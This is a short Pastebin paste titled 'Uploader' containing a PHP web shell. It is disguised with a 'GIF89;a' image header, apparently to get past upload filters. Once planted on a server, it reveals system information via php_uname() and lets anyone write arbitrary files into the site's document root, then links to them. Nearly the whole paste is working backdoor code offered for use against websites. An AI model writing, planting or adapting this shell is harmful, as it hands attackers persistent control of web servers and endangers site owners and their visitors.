adit13

Uploader

May 5th, 2018
77
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.96 KB | None | 0 0
  1. GIF89;a
  2. <!DOCTYPE HTML>
  3. <html lang="en-US">
  4. <head>
  5. <meta charset="UTF-8">
  6. <title></title>
  7. </head>
  8. <body>
  9. <?php
  10. echo "<center>a loser<br>";
  11. echo "<b>".php_uname()."</b><br>";
  12. echo "<form method='post' enctype='multipart/form-data'>
  13. <input type='file' name='just_file'>
  14. <input type='submit' name='upload' value='Gaspol!'>
  15. </form>
  16. </center>";
  17. $root = $_SERVER['DOCUMENT_ROOT'];
  18. $files = $_FILES['just_file']['name'];
  19. $dest = $root.'/'.$files;
  20. if(isset($_POST['upload'])) {
  21. if(is_writable($root)) {
  22. if(@copy($_FILES['just_file']['tmp_name'], $dest)) {
  23. $web = "http://".$_SERVER['HTTP_HOST']."/";
  24. echo "sukses upload -> <a href='$web$files' target='_blank'><b><u>$web/$files?maqlo</u></b></a>";
  25. } else {
  26. echo "gagal upload di document root.";
  27. }
  28. } else {
  29. if(@copy($_FILES['just_file']['tmp_name'], $files)) {
  30. echo " upload <b>$files</b> di folder ini";
  31. } else {
  32. echo "gagal upload";
  33. }
  34. }
  35. }
  36. ?>
  37. </body>
  38. </html>
Add Comment
Please, Sign In to add comment